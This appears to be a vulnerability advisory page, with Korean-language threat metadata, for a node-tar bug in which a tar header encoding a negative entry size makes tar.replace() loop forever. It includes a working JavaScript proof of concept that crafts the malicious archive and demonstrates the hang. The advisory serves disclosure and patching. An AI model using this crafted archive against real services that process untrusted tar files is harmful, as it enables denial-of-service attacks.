node-tar: Negative tar entry size causes infinite loop in archive replace
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
30일 내 악용 확률 예측
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H상세 설명
Summary
A checksum-valid tar archive with a negative base-256 encoded entry size can make tar.replace() loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service.
Details
The public tar.replace() API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary.
Tar supports base-256 encoded numeric fields. A crafted header can encode the entry size as -512 while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation.
For a size of -512, the computed body skip is -512. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step.
This is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception.
PoC
Save as poc.mjs in a project with the vulnerable package installed and run:
1node poc.mjs 1import fs from 'node:fs' 2import os from 'node:os' 3import path from 'node:path' 4import { spawnSync } from 'node:child_process' 5 6const oct = (b, n, off, len) => 7 b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii') 8 9const badHeader = () => {10 const h = Buffer.alloc(512)11 12 h.write('x', 0)13 oct(h, 0o644, 100, 8)14 oct(h, 0, 108, 8)15 oct(h, 0, 116, 8)16 17 // base-256 encoded -512 in the size field18 Buffer.alloc(10, 0xff).copy(h, 124)19 h[134] = 0xfe20 h[135] = 0x0021 22 oct(h, 0, 136, 12)23 h.fill(0x20, 148, 156)24 h[156] = 0x3025 h.write('ustar\0' + '00', 257, 8, 'binary')26 27 let sum = 028 for (const c of h) sum += c29 h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii')30 31 return h32}33 34const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-'))35const file = path.join(dir, 'poc.tar')36 37fs.writeFileSync(file, badHeader())38fs.writeFileSync(path.join(dir, 'add.txt'), 'x')39 40const r = spawnSync(41 process.execPath,42 [43 '--input-type=module',44 '-e',45 `46 import * as tar from 'tar'47 tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt'])48 console.log('completed')49 `,50 ],51 { timeout: 20_000 }52)53 54console.log(r.error?.code === 'ETIMEDOUT')55 56// Output: trueImpact
An application that calls tar.replace() on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan. This can consume a worker process indefinitely and cause denial of service. Plain extraction-only workflows are not affected by this finding.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 5
링크 내용 불러오는 중…